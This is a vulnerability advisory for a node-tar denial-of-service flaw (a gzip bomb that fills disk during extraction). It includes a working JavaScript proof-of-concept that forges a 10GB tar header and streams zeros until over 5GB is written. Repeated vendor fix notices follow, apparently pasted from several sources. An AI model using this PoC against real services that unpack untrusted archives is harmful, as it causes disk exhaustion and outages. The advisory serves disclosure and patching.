CVE-2026-59873

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

1. Create the exploit script:

const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();

2. Run the PoC:

node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a platform built on Chrome's JavaScript runtime \ for easily building fast, scalable network applications. \ Node.js uses an event-driven, non-blocking I/O model that \ makes it lightweight and efficient, perfect for data-intensive \ real-time applications that run across distributed devices.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a platform built on Chrome's JavaScript runtime for easily building fast, scalable network applications. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient, perfect for data-intensive real-time applications that run across distributed devices.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.19, node-tar does not enforce hard upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts, allowing a small crafted gzip bomb to exhaust disk space and CPU. This issue is fixed in version 7.5.19.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a platform built on Chrome's JavaScript runtime \ for easily building fast, scalable network applications. \ Node.js uses an event-driven, non-blocking I/O model that \ makes it lightweight and efficient, perfect for data-intensive \ real-time applications that run across distributed devices.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a platform built on Chrome's JavaScript runtime for easily building fast, scalable network applications. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient, perfect for data-intensive real-time applications that run across distributed devices.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.2.1-tuxcare.4.

TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.2.0-tuxcare.5.

TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.

TuxCare rebuilt tar to address 2 CVEs. Fixed in 7.5.18-tuxcare.1.

TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.1.0-tuxcare.3.

TuxCare rebuilt tar to address 1 CVE. Fixed in 6.1.6-tuxcare.3.

TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.

Root has patched CVE-2026-59873 in the tar package for Root:npm. Multiple fixed versions available.